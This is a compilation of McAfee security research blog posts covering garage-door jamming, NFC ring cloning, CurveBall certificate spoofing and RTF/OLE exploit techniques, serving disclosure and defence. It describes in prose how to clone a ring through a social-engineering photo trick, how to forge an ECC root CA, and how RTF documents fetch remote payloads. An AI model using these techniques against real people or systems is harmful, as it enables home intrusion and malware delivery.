While this may not be too common for individuals using the MyQ Hub, recall the earlier reference to third-party partnerships with MyQ for garage delivery. Another possible attack would be when a delivery driver uses the application. The primary reason users sign up for this service is the concept of a package delivery to a secure location (garage) even when they are not home. The victim can be absent from the property yet have access via the MyQ app over the internet to open or close the garage door if a delivery driver uses the MyQ hub for an in-garage delivery. A determined hacker could pull this attack off and the victim may have a higher probability of believing that the door may in fact be open. We disclosed our findings in full to Chamberlain on 9/25/2019, including detailed reproduction steps for the jamming attack. We also talked to Chamberlain on this issue with the third-party delivery drivers and how it could fit into this attack model. After extensive testing and validation of the issue, the vendor released an update to the myQ App as of version 4.145.1.36946. This update provides a valuable warning message to users indicating the garage door state may not be accurate, but it does not eliminate the user from remotely controlling the door itself.

The beauty of IOT devices are that they solve problems that we have learned to deal with. After we experience the convenience and the way these devices can automate, secure, or assist in our lives it is hard to see them ever going away. This ease and automation often overshadows the potential security threat that they may pose. Even simple enhancements to manual products over time have this effect; take for example the now-legacy garage door opener in your car. The ability to capture and replay the basic signals transformed the threat from physical to digital space. While the Chamberlain MyQ Hub ultimately produces a generally more secure method of accessing garages than its predecessors, consumers should be aware that any extension of a technology platform, such as using WiFi, a mobile app and FHSS RF transmissions, also extends possible threat vectors.

We would like to finish by commenting that the likelihood of a real-world attack on this target is low, based on the complexity of the attack and installation footprint. We have discussed this with Chamberlain, who has validated the findings and agrees with this assessment. Chamberlain has made clear efforts to build a secure product and appears to have eliminated much of the low-hanging fruit common to IoT devices. This vendor has been a pleasure to work with and clearly prioritizes security as a foresight in the development of its product.

NOTE: Within the research related to Chamberlain Garage Door Hub described in this blog, the only interference was to unlicensed spectrum radio frequency for the minimum period while the garage door hub was transmitting state signal, and there was no interference with any communications signal licensed or authorized under the Communications Act or FCC rules.

 

 

The post We Be Jammin’ – Bypassing Chamberlain myQ Garage Doors appeared first on McAfee Blog.

The Tradeoff Between Convenience and Security – A Balancing Act for Consumers and Manufacturers

7 January 2020 at 05:01

This week McAfee Advanced Threat Research (ATR) published new findings, uncovering security flaws in two popular IoT devices: a connected garage door opener and a “smart” ring, which, amongst many uses, utilizes near field communication (NFC) to open door locks.

I’d like to use these cases as examples of a growing concern in the area of product security. The industry of consumer devices has seen some positive momentum for security in recent years. For example, just a few years back, nearly every consumer-grade router shipped with a default username and password, which, if left unchanged, represented a serious security concern for home networks. At a minimum, most routers at least now ship with a unique password printed on the physical device itself, dramatically increasing the overall network security. Despite positive changes such as this, there is a long way to go.

If we think about the history of garage doors, they began as a completely manual object, requiring the owner to lift or operate it physically. The first overhead garage door was invented in the early 1920s, and an electric version came to market just a few years later. While this improved the functionality of the device and allowed for “remote” entry, it wasn’t until many years later that an actual wireless remote was added, giving consumers the ability to allow wireless access into their home. This was the beginning of an interesting tradeoff for consumers – an obvious increase in convenience which introduced a potential new security concern.

The same concept applies to the front door. Most consumers still utilize physical keys to secure the front door to their homes. However, the introduction of NFC enabled home door locks, which can be opened using compatible smart rings, adds both convenience and potentially compromised security.

For example, upon investigating the McLear NFC Ring, McAfee ATR uncovered a design insecurity, which could allow an attacker to easily clone the NFC Ring and gain entry to a home utilizing an NFC enabled smart lock.

While the NFC Ring modernizes physical household security, the convenience that comes with technology implementation also introduces a security issue.

The issue here is at a higher level; where and when do we draw the line for convenience versus security? The numerous benefits technology enhancements bring are exciting and often highly valuable; but many are unaware of the lengths cyber criminals will go to (for example, we once uncovered a vulnerability in a coffee pot which we were able to leverage to gain access to a home Wi-Fi network) and the many ways new features can reduce the security of a system.

As we move towards automation and remote access to nearly every computerized system on the planet, it’s our shared responsibility to maintain awareness of this fact and demand a higher bar for the products that we buy.

So what can be done? The responsibility is shared between consumers and manufacturers, and there are a few options:

For consumers:

  • Practice proper cyber hygiene. From a technical perspective, consumers have many tools at their disposal, even when security concerns do manifest. Implement a strong password policy, put IoT devices on their own, separate, network, utilize dual-factor authentication when possible, minimize redundant systems and patch quickly when issues are found.
  • Do your research. Consumers should ensure they are aware of the security risks associated with products available on the market.

For product manufacturers:

  • Manufacturer supported awareness. Product manufacturers can help by clearly stating the level of security their product provides in comparison with the technology or component they seek to advance.

Embrace vulnerability disclosure. Threat actors are constantly tracking flaws which they can weaponize; conversely, threat researchers are constantly working to uncover and secure product vulnerabilities. By partnering with researchers and responding quickly, vendors have a unique opportunity

The post The Tradeoff Between Convenience and Security – A Balancing Act for Consumers and Manufacturers appeared first on McAfee Blog.

The Cloning of The Ring – Who Can Unlock Your Door?

7 January 2020 at 05:01

Steve Povolny contributed to this report.

McAfee’s Advanced Threat Research team performs security analysis of products and technologies across nearly every industry vertical. Special interest in the consumer space and Internet of Things (IoT) led to the discovery of an insecure design with the McLear NFC Ring a household access control device. The NFC Ring can be used to interact with NFC-enabled door locks which conform to the ISO/IEC 14443A NFC card type. Once the NFC Ring has been paired with the NFC enabled door lock, the user can access their house by simply placing the NFC Ring within NFC range of the door lock.

McLear originally invented the NFC Ring to replace traditional keys with functional jewelry. The NFC Ring uses near field communication (NFC) for access control, to unlock and control mobile devices, share and transfer information, link people and much more. McLear NFC Ring aims to redefine and modernize access control to bring physical household security through convenience. Their latest ring also supports payment capability with McLear Smart Payment Rings, which were not in scope for this research.

Identity is something which uniquely identifies a person or object; an NFC tag is a perfect example of this. Authentication can be generally classified into three types; something you know, something you have and something you are. A NFC Ring is different from the general NFC access tag devices (something you have) as the Ring sits on your finger, so it is a hybrid authentication type of something you have and something you are. This unique combination, as well as the accessibility of a wearable Ring with NFC capabilities sparked our interest in researching this product as an NFC-enabled access control device. Therefore, the focus of our research was on NFC Ring protection against cloning as opposed to the door lock, since NFC access control tags and door locks have been well-researched.

The research and findings for this flaw were reported to McLear on September 25, 2019. To date, McAfee Advanced Threat Research has not received a response from the vendor.

Duplicating Keys Beyond the Hardware Store

In the era of Internet of Things (IoT), the balance between security and convenience is an important factor to get right during the concept phase of a new product and the bill of materials (BOM) selection. The hardware selection is critical as it often determines the security objectives and requirements that can be fulfilled during design and implementation of the product lifecycle. The NFC Ring uses an NFC capable Integrate Circuit (IC) which can be easily cloned and provides no security other than NFC proximity. The NFC protocol does not provide authentication and relies on its operational proximity as a form of protection. The problem with NFC Tags is that they automatically transmit their UID when in range of NFC device reader without any authentication.

Most consumers today use physical keys to secure access to their household door. The physical key security model requires an attacker to get physical access to the key or break the door or door lock. The NFC Ring, if designed securely, would provide equal or greater security than the physical key security model. However, since the NFC Ring can be easily cloned without having to attain physical access to the Ring, it makes the product’s security model less secure than a consumer having a physical key.

In this blog we discuss cloning of the NFC Ring and secure design recommendations to improve its security to a level equal to or greater than existing physical keys.

NFC Ring Security Model and Identity Theft

All McLear non-payment NFC Rings using NTAG216 ICs are impacted by this design flaw. Testing was performed specifically on the OPN which has an NTAG216 IC. The NFC Ring uses the NTAG 216 NFC enabled Integrated Circuit (IC) to provide secure access control by means of NFC communication.

The NFC protocol provides no security as it’s just a transmission mechanism.  The onus is on product owners to responsibly design and implement a security layer to meet the security objectives, capable of thwarting threats identified during the threat modeling phase at concept commit.

The main threats against an NFC access control tag are physical theft and tag cloning by NFC. At a minimum, a tag should be protected against cloning by NFC; with this research, it would ensure the NFC Ring provides the same level of security as a physical key. Ideal security would also protect against cloning even when the NFC Ring has been physically stolen which would provide greater security than that of a physical key.

The NTAG216 IC provide the following security per the NFC Ring spec:

  1. Manufacturer programmed 7-byte UID for each device
  2. Pre-programmed capability container with one-time programmable bits
  3. Field programmable read-only locking function
  4. ECC based originality signature
  5. 32-bit password protection to prevent unauthorized memory operations

The NFC Ring security model is built on the “Manufacturer programmed 7-byte UID for each device” as the Identity and Authentication with the access control principle or door lock. This 7-byte UID (unique identifier) can be read by any NFC enabled device reader such as a proxmark3 or mobile phone when within NFC communication range.

The NFC Ring security model can be broken by any NFC device reader when they come within NFC communication range since the static 7-byte UID is automatically transmitted without any authentication. Once the 7-byte UID has been successfully read, a magic NTAG card can be programmed with the UID, which forms a clone of the NFC Ring and allows an attacker to bypass the secure access control without attaining physical access to the NFC Ring.

The NFC Ring is insecure by design as it relies on the static 7-byte UID programmed at manufacture within the NTAG216 for device identity and authentication purposes. The NFC Ring security model relies on NFC proximity and a static identifier which can be cloned.

In addition, we discovered that the UIDs across NFC Rings maybe predictable (this was a very small sample size of three NFC Rings):

  • NFC Ring#1 UID 04d0e722993c80
  • NFC Ring#2 UID 04d24722993c80
  • NFC Ring#3 UID 04991c4a113c80

There is only a 22-byte difference between the UID of NFC Ring#1 and NFC Ring#2 (0x24-0x0e). By social engineering when a victim purchased their NFC Ring, an attacker could purchase a significant sample size of NFC Rings around the same time and possibly brute force their NFC Ring UID.

Social Engineering

Social Engineering consists of a range of techniques which can be used through human interaction for many malicious purposes such as identity theft. In the case of the NFC Ring the goal is to steal the user’s identity and gain access to their home. Reconnaissance can be performed online to gain background information such as what type of technology is being used by the victim for their home access.

One of the most common exchanges of technology today has become the passing of a phone between two untrusted parties to take a picture. The NFC Ring social engineering attack could be as simple as requesting the victim to take a picture with the attacker-supplied phone. The victim-as-helpful-photographer holds the attacker’s phone, which can read NFC tags and could be equipped with a custom Android app to read the NFC Ring UID, all transparent to the victim while they are snapping away. There is no sign to the victim that their NFC Ring is being read by the phone. It is recorded in the system log and cannot be viewed until a USB cable is attached with required software. Once the Ring is compromised, it can be reprogrammed on a standard writable card, which can be used to unlock smart home locks that partner with this product. The victim’s home is breached.

How It’s Done: NFC Ring Cloning

To successfully clone an NFC Tag, one must first identify the Tag type. This can be done by looking up the product specifications in some cases, or verifying by means of an NFC device reader such as a proxmark3.

From the NFC Ring specs we can determine most of the required tag characteristics:

  1. IC Model: NTAG216
  2. Operating Frequency: 13.56Mhz
  3. ISO/IEC: 14443A
  4. User writable space: 888 bytes
  5. Full specifications

In addition, by communicating with a proxmark3 attackers can physically verify the NFC Tag characteristics and obtain the UID which is required for cloning.

The most straightforward method to stealing the unique identifier of the Ring would be through a mobile phone. The following steps were taken in the below demo:

  1. Reading of NFC Ring with proxmark3 and cloning NTAG21x emulator card
  2. Setting attacker’s phone to silent to prevent NFC Tag detection sound
  3. Running our customized Android app to prevent Android activity popup when NFC Tag detected and read.

Mitigation Secure Design Recommendations

Lock the door. The existing insecure design can be mitigated by using NFC Doorlock password protection in combination with the NFC Ring for two factor authentication.

Authenticate. NFC Ring designers must mandate a secure PKI design with an NFC Tag which contains a crypto module that provides TAG authentication. The NFC Ring secure design must mandate a security layer on top of NFC to access control device manufacturers to ensure secure and trustworthy operation.

Randomize UIDs. In addition, the NFC designers must ensure they are not manufacturing NFC Rings with sequential UIDs which may be predictable with purchase date.

Consumer Awareness

To make customers aware of the security risks associated with products available on the market, product manufacturers should clearly state the level of security which their product provides in comparison with the technology or component they claim to be advancing. Are customers holding the master key to unlock their door, and are there duplicates?

In the case of the NFC Ring, while convenient, it clearly does not provide the same level of security to consumers as a physical key. This decrease in security model from a physical key to a NFC Ring is not due to technology limitations but due to an insecure design.

 

The post The Cloning of The Ring – Who Can Unlock Your Door? appeared first on McAfee Blog.

Iran Cyber Threat Update

8 January 2020 at 21:04

Recent political tensions in the Middle East region have led to significant speculation of increased cyber-related activities. McAfee is on a heightened state of alert to monitor the evolving threats and rapidly implement coverage across all McAfee products as intelligence becomes available. Known campaigns associated with the threat actors from this region were integrated into our products and we continue to monitor our global telemetry for any further activity.

Current activity

We are observing activity that claim to be attributed from threat actors from this region, however, distinguishing attribution between cybercrime and nation state will be crucial since the line will likely blur. For example, typical cybercrime activities such as ransomware, or indeed defacements or DDoS, could well be a mask for nation-state activities.

The post Iran Cyber Threat Update appeared first on McAfee Blog.

What CVE-2020-0601 Teaches Us About Microsoft’s TLS Certificate Verification Process

17 January 2020 at 21:25

By: Jan Schnellbächer and Martin Stecher, McAfee Germany GmbH

This week security researches around the world were very busy working on Microsoft’s major crypto-spoofing vulnerability (CVE-2020-0601) otherwise known as Curveball. The majority of research went into attacks with malicious binaries that are signed with a spoofed Certificate Authority (CA) which unpatched Win10 systems would in turn trust. The other attack vector —HTTPS-Server-Certificates— got less attention until Saleem Rashid posted a first working POC on Twitter, followed by Kudelski Security and “Ollypwn” who published more details  on how the Proof-Of-Concepts are created.

McAfee Security experts followed the same approach and were able to  reproduce the attack.  In addition, they confirmed that users  browsing via unpatched Windows-Systems were protected provided their clients were deployed behind McAfee’s Web Gateway or Web Gateway Cloud Service and running the certificate verification policy. This is typically part of the SSL Scanner but is also available as a separate policy even if no SSL inspection should be done (see KB92322 for details).

In our first attempt, we used the spoofed version of a CA from the Windows Root CA Trust store to sign a server certificate and then only provided the server certificate when the HTTPS connection wanted to be established. That attempt failed and we assumed that we did not get the spoofing right. Then we learned that the spoofed CA actually needs to be included together with the server certificate and that chain of certificates is then accepted by an unpatched Windows 10 system.

But why is that? By sending the spoofed version, it becomes obvious that this is not the same certificate that exists in the trust store and should be denied immediately. Also, in the beginning, we tried hard to make the spoofed CA as similar to the original CA as possible (same common name, same serial number, etc.). In fact, we found that none of that plays any role when Windows does the certificate verification.

A good indication of what’s happening behind the scenes, is already provided by Windows’ own certificate information dialogs. We started with the “UserTrust ECC Certificate” in the Windows Trusted Root CA catalog which carries the friendly name “Sectigo ECC”. Then we created a spoofed version of that CA and gave it a new common name “EVIL CA”. With that, it was easy to set up a new test HTTPS server in our test network and manipulate the routing of a test client so that it would reach our server when the user types https://www.google.com into the browser. The test server  was presenting SSL session information for debugging purposes instead of any Google content.

When you click onto the lock symbol, the browser tells you that the connection has been accepted as valid and trusted and that the original “Sectigo ECC” root CA  had signed the server certificate.

But we know that this was not the case, and in contrast to our own original assumptions, Windows did not even verify the server certificate against the “Sectigo ECC. It compared it against the included spoofed CA. That can be seen, when you do another click to “View certificates”:

As the screenshot shows, we are still in the same SSL session (the master key is the same on both pictures), but now Windows is showing that the (correct) issuer of the server certificate is our spoofed “EVIL CA”.

Windows’ cryptographic signature verification works correctly

The good news is that Windows does not really have an issue with the cryptographic functions to validate the signature of an elliptic curve certificate! That verification works correctly. The problem is how the trust chain comparison is done to prove that the chain of signatures is correctly ending in the catalog of trusted root CAs.

We assumed that an attack would use a signing CA that points to an entry in the trusted Root CA store and verification of the signature would be limited so that the signature would be accepted although it was not signed with that original CA but a spoofed CA. But in fact, Windows is validating the embedded certificate chain — which is perfectly valid and cryptographically correct— and then matches the signing certificate with the entries in the trusted Root CA store. This last piece is what has not been done correctly (prior to the system patch).

Our tests revealed that Windows does not even try to match the certificates. It only matches the public key of the certificates (and a few more comparisons and checks) – making the comparison incomplete. That was the actual bug of this vulnerability (at least as web site certificates are concerned).

The Trusted Certificate Store is actually a Trusted Public Key Store

When we talk about the trust chain in SSL/TLS communication, we mean a chain of certificates that are signed by a CA until we reach a trusted Root CA. But Microsoft appears to ignore the certificates for the most part and manages a chain of the public keys of certificates. The comparison is also comparing the algorithm. At a time where only RSA certificates were used, that was sufficient. It was not possible for an attacker to create his own key pair with the same public key as the trusted certificate. With the introduction of Elliptic Curve Cryptography (ECC), Microsoft’s comparison of only the algorithm and the public key is failing. It is failing to also compare the characteristics of the elliptic curve itself. Without this additional parameter, it simply creates the same public key (curve point) again on a different curve. This is what was fixed on Patch-Tuesday — the comparison of the public key information now includes the curve characteristics.

This screenshot shows that the original certificate on the right side and the spoofed CA on the left are very different. Different common name, and a totally different elliptic curve (a standard curve for the original CA and a handcrafted for the spoofed version), but the signature seen under the “pub” entry is identical. That has been sufficient to make Windows believe that the embedded spoofed CA was the same as the trusted CA in the certificate store.

Why not comparing certificates by name or serial number?

A different (and maybe more natural) algorithm is to compare certificates by their common name and/or their serial number and whenever you have a match, continue the trust chain and verification with the certificate in the trust store. Why is Windows comparing public keys instead? We can only speculate but the advantage might be for Enterprises who want to swap their certificates without rolling out new root CAs to all client computers. Imagine an organization that maintains its own PKI and installs its own Root CA in the store of trusted certificates. When these companies go through mergers and acquisitions and the company name may change. This would be a good time to also change the common name of your signing certificate. However, if you do not have a good way to remote maintain all clients and update the certificate in the trusted store, it is easier to tell the Cooperation to use the original key pair of public and private keys and create a new certificate with that same key pair. The new cert will still match the old cert and no other client update is necessary. Convenient! But Is it secure? At this point it is not really a chain of trusted certificates but a chain of trusted public keys.

We tested whether this could also be mis-used to create a new cert when the old one has expired but that is not the case. After comparing the public keys, Windows is still using the expiration date of the certificate in the trusted store to determine whether the chain is still valid, which is good.

How to harden the process?

The root problem of this approach is that the complete cryptographic verification happens with the embedded certificates and only after verification the match against the entry in the trusted Root CAs store is done. That always has room for oversights and incomplete matching algorithms as we have seen with this vulnerability. A safe approach is to first match the certificates (or public keys), find the corresponding entry in the Trusted Root CA store and then use that trusted certificate to continue the signature verification. That way, the verification fails on the safe side and broken chains can be identified easily.

We do not know whether that has been changed with the patched Windows version or if only the matching algorithm has been improved. If not, we recommend reviewing this alternative approach and further hardening the implementation in the operating system and browser.

The post What CVE-2020-0601 Teaches Us About Microsoft’s TLS Certificate Verification Process appeared first on McAfee Blog.

CurveBall – An Unimaginative Pun but a Devastating Bug

18 January 2020 at 05:49

Enterprise customers looking for information on defending against Curveball can find information here.

2020 came in with a bang this year, and it wasn’t from the record-setting number of fireworks on display around the world to celebrate the new year. Instead, just over two weeks into the decade, the security world was rocked by a fix for CVE-2020-0601 introduced in Microsoft’s first patch Tuesday of the year. The bug was submitted by the National Security Administration (NSA) to Microsoft, and though initially deemed as only “important”, it didn’t take long for everyone to figure out this bug fundamentally undermines the entire concept of trust that we rely on to secure web sites and validate files. The vulnerability relies on ECC (Elliptic Curve Cryptography), which is a very common method of digitally signing certificates, including both those embedded in files as well as those used to secure web pages. It represents a mathematical combination of values that produce a public and private key for trusted exchange of information. Ignoring the intimate details for now, ECC allows us to validate that files we open or web pages we visit have been signed by a well-known and trusted authority. If that trust is broken, malicious actors can “fake” signed files and web sites and make them look to the average person as if they were still trusted or legitimately signed. The flaw lies in the Microsoft library crypt32.dll, which has two vulnerable functions. The bug is straightforward in that these functions only validate the encrypted public key value, and NOT the parameters of the ECC curve itself. What this means is that if an attacker can find the right mathematical combination of private key and the corresponding curve, they can generate the identical public key value as the trusted certificate authority, whomever that is. And since this is the only value checked by the vulnerable functions, the “malicious” or invalid parameters will be ignored, and the certificate will pass the trust check.

As soon as we caught wind of the flaw, McAfee’s Advanced Threat Research team set out to create a working proof-of-concept (PoC) that would allow us to trigger the bug, and ultimately create protections across a wide range of our products to secure our customers. We were able to accomplish this in a matter of hours, and within a day or two there were the first signs of public PoCs as the vulnerability became better understood and researchers discovered the relative ease of exploitation.

Let’s pause for a moment to celebrate the fact that (conspiracy theories aside) government and private sector came together to report, patch and publicly disclose a vulnerability before it was exploited in the wild. We also want to call out Microsoft’s Active Protections Program, which provided some basic details on the vulnerability allowing cyber security practitioners to get a bit of a head start on analysis.

The following provides some basic technical detail and timeline of the work we did to analyze, reverse engineer and develop working exploits for the bug.  This blog focuses primarily on the research efforts behind file signing certificates.  For a more in-depth analysis of the web vector, please see this post.

Creating the proof-of-concept

The starting point for simulating an attack was to have a clear understanding of where the problem was. An attacker could forge an ECC root certificate with the same public key as a Microsoft ECC Root CA, such as the ECC Product Root Certificate Authority 2018, but with different “parameters”, and it would still be recognized as a trusted Microsoft CA. The API would use the public key to identify the certificate but fail to verify that the parameters provided matched the ones that should go with the trusted public key.

There have been many instances of cryptography attacks that leveraged failure of an API to validate parameters (such as these two) and attackers exploiting this type of vulnerability. Hearing about invalid parameters should raise a red flag immediately.

To minimize effort, an important initial step is to find the right level of abstraction and details we need to care about. Minimal details on the bug refer to public key and curve parameters and nothing about specific signature details, so likely reading about how to generate public/private key in Elliptical Curve (EC) cryptography and how to define a curve should be enough.

The first part of this Wikipedia article defines most of what we need to know. There’s a point G that’s on the curve and is used to generate another point. To create a pair of public/private keys, we take a random number k (the private key) and multiply it by G to get the public key (Q). So, we have Q = k*G. How this works doesn’t really matter for this purpose, so long as the scalar multiplication behaves as we’d expect. The idea here is that knowing Q and G, it’s hard to recover k, but knowing k and G, it’s very easy to compute Q.

Rephrasing this in the perspective of the bug, we want to find a new k’ (a new private key) with different parameters (a new curve, or maybe a new G) so that the ECC math gives the same Q back. The easiest solution is to consider a new generator G’ that is equal to our target public key (G’= Q). This way, with k’=1 (a private key equal to 1) we get k’G’ = Q which would satisfy the constraints (finding a new private key and keeping the same public key).

The next step is to verify if we can actually specify a custom G’ while specifying the curve we want to use. Microsoft’s documentation is not especially clear about these details, but OpenSSL, one of the most common cryptography libraries, has a page describing how to generate EC key pairs and certificates. The following command shows the standard parameters of the P384 curve, the one used by the Microsoft ECC Root CA.

Elliptic Curve Parameter Values

We can see that one of the parameters is the Generator, so it seems possible to modify it.

Now we need to create a new key pair with explicit parameters (so all the parameters are contained in the key file, rather than just embedding the standard name of the curve) and modify them following our hypothesis. We replace the Generator G’ by the Q from Microsoft Certificate, we replace the private key k’ by 1 and lastly, we replace the public key Q’ of the certificate we just generated by the Q of the Microsoft certificate.

To make sure our modification is functional, and the modified key is a valid one, we use OpenSSL to sign a text file and successfully verify its signature.

Signing a text file and verifying the signature using the modified key pair (k’=1, G’=Q, Q’=Q)

From there, we followed a couple of tutorials to create a signing certificate using OpenSSL and signed custom binaries with signtool. Eventually we’re greeted with a signed executable that appeared to be signed with a valid certificate!

Spoofed/Forged Certificate Seemingly Signed by Microsoft ECC Root CA

Using Sysinternal’s SigChecker64.exe along with Rohitab’s API Monitor (which, ironically is on a site not using HTTPS) on an unpatched system with our PoC, we can clearly see the vulnerability in action by the return values of these functions.

Rohitab API Monitor – API Calls for Certificate Verification

Industry-wide vulnerabilities seem to be gaining critical mass and increasing visibility even to non-technical users. And, for once, the “cute” name for the vulnerability showed up relatively late in the process. Visibility is critical to progress, and an understanding and healthy respect for the potential impact are key factors in whether businesses and individuals quickly apply patches and dramatically reduce the threat vector. This is even more essential with a bug that is so easy to exploit, and likely to have an immediate exploitation impact in the wild.

McAfee Response

McAfee aggressively developed updates across its entire product lines.  Specific details can be found here.

 

The post CurveBall – An Unimaginative Pun but a Devastating Bug appeared first on McAfee Blog.

An Inside Look into Microsoft Rich Text Format and OLE Exploits

24 January 2020 at 18:09

There has been a dramatic shift in the platforms targeted by attackers over the past few years. Up until 2016, browsers tended to be the most common attack vector to exploit and infect machines but now Microsoft Office applications are preferred, according to a report published here during March 2019. Increasing use of Microsoft Office as a popular exploitation target poses an interesting security challenge. Apparently, weaponized documents in email attachments are a top infection vector.

Object Linking and Embedding (OLE), a technology based on Component Object Model (COM), is one of the features in Microsoft Office documents which allows the objects created in other Windows applications to be linked or embedded into documents, thereby creating a compound document structure and providing a richer user experience. OLE has been massively abused by attackers over the past few years in a variety of ways. OLE exploits in the recent past have been observed either loading COM objects to orchestrate and control the process memory, take advantage of the parsing vulnerabilities of the COM objects, hide malicious code or connecting to external resources to download additional malware.

Microsoft Rich Text Format is heavily used in the email attachments in phishing attacks. It has been gaining massive popularity and its wide adoption in phishing attacks is primarily attributed to the fact that it has an ability to contain a wide variety of exploits and can be used efficiently as a delivery mechanism to target victims. Microsoft RTF files can embed various forms of object types either to exploit the parsing vulnerabilities or to aid further exploitation. The Object Linking and Embedding feature in Rich Text Format files is largely abused to either link the RTF document to external malicious code or to embed other file format exploits within itself and use it as the exploit container. Apparently, the RTF file format is very versatile.

In the below sections, we attempt to outline some of the exploitation and infection strategies used in Microsoft Rich Text format files over the recent past and then towards the end , we introspect on the key takeaways that can help automate the analysis of RTF exploits and set the direction for the generic analysis approach.

RTF Control Words

Rich Text Format files are heavily formatted using control words. Control words in the RTF files primarily define the way the document is presented to the user. Since these RTF control words have the associated parameters and data, parsing errors for them can become a target for exploitation. Exploits in the past have been found using control words to embed malicious resources as well. Consequently, it becomes significant to examine a destination control word that consumes data and extract the stream. RTF specifications describe several hundred control words consuming data.

RTF parsers must also be able to handle the control word obfuscation mechanisms commonly used by attackers, to further aid the analysis process. Below is one of the previous instances’ exploits using control word parameters to introduce executable payloads inside the datastore control word.

Overlay Data in RTF Files

Overlay data is the additional data which is appended to the end of RTF documents and is predominantly used by exploit authors to embed decoy files or additional resources, either in the clear, or encrypted form which is usually decrypted when the attacker-controlled code is executed. Overlay data of the volume beyond a certain size should be deemed suspicious and must be extracted and analysed further. However, Microsoft Word RTF parser will ignore the overlay data while processing RTF documents. Below are some instances of RTF exploits with a higher volume of overlay data appended at the end of the file, with CVE-2015-1641 embedding both the decoy document and multi-staged shellcodes with markers.

Object Linking and Embedding in RTF Files

Linked or embedded objects in RTF documents are represented as RTF objects, precisely to the RTF destination control word “object”. The data for the embedded or linked object is stored as the parameter to the RTF sub-destination control word “objdata” in the hex-encoded OLESaveToStream format. Modifier control word “objclass” determines the type of the object embedded in the RTF files and helps the client application to render the object. However, the hex encoded object data as the argument to the “objdata” control word can also be heavily obfuscated, either to make the reverse engineering and analysis effort more time consuming or to break the immature RTF parsers. Apparently, OLE has been one of the dominant attack vectors in the recent past, with many instances of OLE based exploits used in targeted attacks, essentially implying robust RTF document parsers for the extraction of objects, along with deeper inspection of object data is extremely critical.

Object Linking – Linking RTF to External Resource

Using object linking, it is possible to link the RTF files to the remote object which could be the link to the malicious resource hosted on the remote server. This leads the resulting RTF file to behave as a downloader and subsequently execute the downloaded resource by invoking the registered application-specific resource handlers. Inspecting the modifier RTF control words to “object”, linked objects are indicated by another nested control word “objautlink”, as represented below in the RTF document.

As indicated in the above representation, object data as the argument to the RTF control word “objdata” is OLE1.0NativeStream in the OLESaveToStream format which is followed by the NativeDataSize indicating the size of the OLE2.0 Compound document that is wrapped in the NativeStream. As per the Rich Text Format specifications, if the object is linked to the container application, which in this case is the RTF document, the Root Storage directory entry of the compound document will have the CLSID of the StdOleLink indicating the linked object. Also, when the object is in the OLE2.0 format, the linked source data is specified in the MonikerStream of the OLESteam structure. As highlighted below, while parsing the object data, the ole32.OleConvertOLESTREAMToIStorage function is responsible for converting the OLE1.0 NativeStream data to OLE2.0 structured storage format. Following the pointer to the OLE stream lpolestream will allow us to visualize the parsed extracted native data. Below is a memory snapshot from when an RTF document with a linked object was parsed by the winword.exe process.

Launching the RTF document with the link to external object will throw up a dialogue box asking to update the data from the linked object, as shown below.

However, this is not the ideal exploitation strategy to target victims. This error can be eliminated by inserting another modifier control word “objupdate”, which internally calls link object’s IOleObject::Update method to update the link’s source.

Subsequently the urlmon.dll, which is the registered server for the URL Moniker, is instantiated.

Once the COM object is instantiated, the connection is initiated to the external resource and, based on the content-type header returned by the server in the response, URL Moniker consults the Mime database in the registry and invokes registered application handlers.

Details on how URL Moniker is executed and an algorithm to determine which appropriate handlers to invoke is described by Microsoft here.  We have had multiple such RTF exploits in the past including CVE-2017-0199, CVE-2017-8756 and others using Monikers to download and execute remote code.

However, COM objects used in the mentioned exploits had been blacklisted by Microsoft in the newer versions, but similar techniques could be used in future which essentially necessitates the analysis of OLE structured storage streams.

Object Embedding – RTF Containing OLE Controls

As indicated earlier, embedded objects are represented in the container documents in the OLE2 format. When the object is stored in the OLE2 format, the container application (here Rich Text Format files) creates the OLE Compound File Storage for each of the objects embedded and the respective object data is stored in the OLE Compound File Stream Objects. Layout of the container documents storing embedded objects is as represented below and described in the Microsoft documentation here.

RTF exploits historically have been found embedding and loading multiple OLE controls in order to bypass exploit mitigations and to take advantage of memory corruption vulnerabilities by loading vulnerable OLE controls. Embedded OLE controls in the RTF document are usually indicated by nested control word “objocx” or “objemb” followed by the “objclass” with the argument as the name of the OLE control to render the object. Below is one of the examples of the previous exploit used in the targeted attacks, which exploited a vulnerability in the COM object and loaded another OLE control to aid the exploitation process which had the staged malicious code embedded. Apparently, it is critical to extract this object data, extract the OLE2 compound file storage and extract each of the stream objects for further inspection of hidden malicious shellcodes.

Object Embedding – RTF Containing Other Documents

Malicious RTF documents can use the OLE functionality to embed other file formats like Flash files and Word documents, either to exploit respective file format vulnerabilities or to further assist and set up the stage for the successful exploitation process. Multiple RTF exploits have been observed in the past embedding OOXML documents using OLE functionality to manipulate the process heap memory and bypass Windows exploit mitigations. In RTF files, embedded objects are usually indicated by nested control word “objemb” with a version-dependent “ProgID” string as the argument to the nested control word “objclass”. One such RTF exploit used in targeted attacks in the recent past, is as indicated below.

Below is another instance where the PDF file was physically embedded within the compound document. As mentioned, the embedded object is stored physically along with all the information required to render it.

In the embedded object, the creating application’s identifier is stored in the CLSID field of the compound file directory entry of the CFB storage object. If we take a look at the previous instance, when the object data is extracted and inspected manually, the following CLSID is observed in the CFB storage object, which corresponds to the CLSID_Microsoft_Word_Document.

When OLE2 stream objects are parsed and the embedded OOXML is extracted and analysed after deflating the contents, we see the suspicious ActiveX object loading activity and embedded malicious code in one of the binary files. Apparently, it is significant to extract the embedded files in RTF and perform further analysis.

OLE Packages in RTF Files

RTF documents can also embed other file types like scripts (VBSsript, JavaScript, etc.), XML files and executables via OLE packages. An OLE package in an RTF file is indicated by the ProgID string “package” as the argument to the nested control word “objclass”. Packager format is the legacy format that does not have an associated OLE server. Looking at the associated CLSID in the registry, there is no specific data format mapped with Packages.

This essentially implies that OLE packages can store multiple file types and, if a user clicks the object, it will lead to execution of it and, eventually, infection of the machine if they are malicious scripts. RTF documents have been known to deliver malware by embedding scripts via OLE packages and then using Monikers, as described in the previous sections, to drop files in the desired directory and then execute them. One such instance of a malicious RTF document exploiting CVE-2018-0802, embedding an executable file, is shown below.

Since many RTF documents have been found delivering malware via OLE packages, it is critical to look for these embedded objects and analyse them for such additional payloads. Embedded executables / scripts within RTF could be malicious. Looking for OLE packages and extracting embedded files should be a trivial task.

The above exploit delivery strategies can allow us to take a step towards building analysis frameworks for RTF documents. Primarily, inspecting the linked or embedded objects turns out to be the critical aspect of automated analysis tasks along with the RTF control words inspection. The following are the key takeaways:

  • Using the RTF file as the container, many other file format exploits can be embedded inside using the Object Linking and Embedding feature, essentially weaponizing the RTF documents.
